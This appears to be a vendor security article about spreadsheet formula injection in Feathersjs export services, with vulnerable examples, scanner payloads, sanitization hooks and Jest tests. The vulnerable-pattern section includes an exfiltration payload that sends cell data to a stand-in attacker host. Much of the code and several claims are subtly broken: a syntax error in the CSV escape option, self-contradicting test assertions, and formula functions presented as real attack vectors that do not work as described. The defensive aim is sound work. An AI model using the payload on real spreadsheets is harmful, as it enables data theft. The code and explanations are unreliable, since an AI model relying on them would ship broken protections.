Formula Injection in Feathersjs
How Formula Injection Manifests in Feathersjs
Formula injection in Feathersjs occurs when user-controlled data is embedded in spreadsheet exports without proper sanitization, allowing attackers to inject malicious formulas that execute when the file is opened. This vulnerability is particularly dangerous in Feathersjs applications that provide data export functionality for financial, business intelligence, or reporting features.
In Feathersjs, formula injection typically manifests through service methods that generate CSV or XLSX exports. The vulnerability arises when data from database queries or user input flows directly into spreadsheet cells without validation. For example, a Feathersjs service method might export user data:
import { csv } from 'csv-writer';
import { Service } from '@feathersjs/feathers';
class ExportService {
async exportUserData() {
const users = await app.service('users').find();
// Vulnerable: User data flows directly to CSV
const rows = users.map(user => ({
name: user.name,
email: user.email,
balance: user.balance
}));
return csv.stringify(rows);
}
}
The critical issue is that spreadsheet applications interpret certain cell values as formulas when they start with specific characters like '=', '+', '-', or '@'. An attacker could create a user with a balance field containing =ISNUMBER(SEARCH("password",INDIRECT("A1"))), which would execute when the spreadsheet is opened, potentially leaking data from other cells.
Feathersjs applications are particularly vulnerable when using hooks to transform data before export. Consider this hook:
import { HookContext } from '@feathersjs/feathers';
export default async (context: HookContext) => {
const data = context.result.data;
// Vulnerable: No sanitization of formula characters
const sanitized = data.map(item => ({
...item,
notes: item.notes || ''
}));
context.result.data = sanitized;
return context;
};
When this hook processes user-supplied notes containing =FORMULA(1), the formula executes in spreadsheet applications. The risk is amplified in Feathersjs because services often handle financial data, inventory calculations, or sensitive business metrics that become targets for data exfiltration through formula injection.
Another common pattern in Feathersjs involves using template engines for report generation:
import { render } from 'ejs';
import { Service } from '@feathersjs/feathers';
class ReportService {
async generateFinancialReport() {
const data = await this.app.service('transactions').find();
// Vulnerable: Template data not sanitized
const html = await render('report-template.ejs', { data });
// Export to spreadsheet format
return convertToSpreadsheet(html);
}
}
If the template renders values like <%= transaction.amount %> and an attacker controls transaction amounts, they could inject =EXTERNAL("http://attacker.com?data="&B2) to exfiltrate data from the spreadsheet.
Feathersjs-Specific Detection
Detecting formula injection in Feathersjs applications requires examining both the service layer and data export functionality. The most effective approach combines static code analysis with runtime scanning.
Static analysis should focus on Feathersjs service methods that handle data export. Look for patterns where user-controlled data flows to CSV or spreadsheet generation without sanitization. In Feathersjs, this means examining:
import { Service } from '@feathersjs/feathers';
class ExportService extends Service {
async export() {
const data = await this.find();
// Check for these dangerous patterns:
// 1. Direct mapping without sanitization
// 2. Template rendering with user data
// 3. CSV generation from untrusted sources
}
}
middleBrick's scanner specifically identifies formula injection risks in Feathersjs applications by testing export endpoints with formula payloads. The scanner sends requests containing =FORMULA(1), +SCRIPT(), and -EXTERNAL("http://test") patterns to detect if the application properly sanitizes or escapes these characters.
For Feathersjs applications using TypeScript, middleBrick analyzes the type definitions to understand data flow patterns:
// middleBrick analysis identifies:
interface UserData {
name: string;
email: string;
balance: string; // Could contain =FORMULA()
}
class UserExportService {
async export() {
const users: UserData[] = await this.find();
return this.generateCSV(users);
}
}
The scanner tests whether the export functionality properly handles edge cases like Unicode formula characters, multi-line formulas, and nested formula attacks. It also verifies if Feathersjs hooks that modify export data include proper sanitization.
Runtime detection involves monitoring API responses for formula indicators. When middleBrick scans a Feathersjs export endpoint, it checks if responses contain unescaped formula characters in positions where they could execute:
// Scanner test payload:
{
name: "Test User",
balance: "=EXTERNAL('http://scanner.test?data=')&A1",
notes: "+MALICIOUS_SCRIPT()"
}
// Scanner verifies:
// - Are formula characters escaped?
// - Does the output contain dangerous formula syntax?
// - Are special characters properly encoded?
middleBrick also tests Feathersjs applications that use third-party export libraries like xlsx, csv-writer, or json2csv to ensure they're not introducing formula injection vulnerabilities through improper configuration.
Feathersjs-Specific Remediation
Remediating formula injection in Feathersjs requires a defense-in-depth approach that combines input validation, output sanitization, and secure export practices. The most effective strategy uses Feathersjs's hook system to implement consistent sanitization across all export services.
First, implement a sanitization hook that escapes formula-triggering characters:
import { HookContext } from '@feathersjs/feathers';
export default async (context: HookContext) => {
const data = context.result;
// Escape formula characters: =, +, -, @
const escapeFormula = (value: any) => {
if (typeof value === 'string') {
// Check if string starts with formula character
const formulaChars = ['=', '+', '-', '@'];
if (formulaChars.some(char => value.startsWith(char))) {
// Prepend apostrophe to force text format
return `'${value}`;
}
}
return value;
};
// Handle arrays and objects recursively
const sanitize = (item: any): any => {
if (Array.isArray(item)) {
return item.map(sanitize);
} else if (typeof item === 'object' && item !== null) {
return Object.fromEntries(
Object.entries(item).map(([key, value]) =>
[key, sanitize(value)]
)
);
} else {
return escapeFormula(item);
}
};
context.result = sanitize(data);
return context;
};
Apply this hook to all export services in your Feathersjs application:
import { hooks } from '@feathersjs/feathers';
import sanitizeExportHook from './sanitize-export-hook';
class ExportService {
async export() {
const data = await this.find();
return this.generateCSV(data);
}
}
// Apply sanitization to all export methods
hooks(ExportService.prototype, {
export: [sanitizeExportHook]
});
For CSV generation, use libraries that support proper escaping:
import { stringify } from 'csv-stringify/sync';
class SecureExportService {
async export() {
const users = await app.service('users').find();
// Sanitize data before CSV generation
const sanitized = users.map(user => ({
name: this.sanitizeCellValue(user.name),
email: this.sanitizeCellValue(user.email),
balance: this.sanitizeCellValue(user.balance)
}));
return stringify(sanitized, {
quoted: true, // Force all values to be quoted
escape: '\' // Proper escaping
});
}
private sanitizeCellValue(value: any): string {
if (typeof value !== 'string') {
return String(value);
}
// Prepend apostrophe for formula characters
if (/^[=+@-]/.test(value)) {
return `'${value}`;
}
return value;
}
}
For Excel exports using the xlsx library, configure proper cell formatting:
import XLSX from 'xlsx';
class ExcelExportService {
async export() {
const data = await this.find();
const workbook = XLSX.utils.book_new();
const worksheet = XLSX.utils.json_to_sheet(
data.map(this.sanitizeForExcel)
);
// Set text format for all cells to prevent formula execution
const range = XLSX.utils.decode_range(worksheet['!ref']);
for (let row = range.s.r; row <= range.e.r; row++) {
for (let col = range.s.c; col <= range.e.c; col++) {
const cellAddr = XLSX.utils.encode_cell({ r: row, c: col });
const cell = worksheet[cellAddr];
if (cell) {
// Force text format
cell.t = 's';
// Escape formula characters
if (cell.v && typeof cell.v === 'string') {
cell.v = this.sanitizeCellValue(cell.v);
}
}
}
}
XLSX.utils.book_append_sheet(workbook, worksheet, 'Data');
return XLSX.write(workbook, { bookType: 'xlsx', type: 'buffer' });
}
private sanitizeForExcel(item: any) {
return Object.fromEntries(
Object.entries(item).map(([key, value]) => [
key,
typeof value === 'string' ? this.sanitizeCellValue(value) : value
])
);
}
}
Finally, implement comprehensive testing in your Feathersjs application to verify formula injection prevention:
import { expect } from '@jest/globals';
import ExportService from './export-service';
describe('ExportService formula injection prevention', () => {
it('escapes formula characters in CSV export', async () => {
const service = new ExportService();
const maliciousData = [
{ name: '=FORMULA(1)', email: '+SCRIPT()', balance: '-EXTERNAL()' }
];
const csv = await service.exportCSV(maliciousData);
// Verify formula characters are escaped
expect(csv).not.toContain('=FORMULA');
expect(csv).not.toContain('+SCRIPT');
expect(csv).not.toContain('-EXTERNAL');
// Verify data is properly quoted
expect(csv).toContain('"=FORMULA(1)"');
});
it('prevents formula execution in Excel export', async () => {
const service = new ExportService();
const maliciousData = [
{ name: '=EXTERNAL("http://test")', value: '100' }
];
const excelBuffer = await service.exportExcel(maliciousData);
// Verify formula characters are properly escaped
const workbook = XLSX.read(excelBuffer);
const sheet = workbook.Sheets[workbook.SheetNames[0]];
expect(sheet.A1.v).toBe('=EXTERNAL("http://test")');
expect(sheet.A1.t).toBe('s'); // Should be text format, not formula
});
});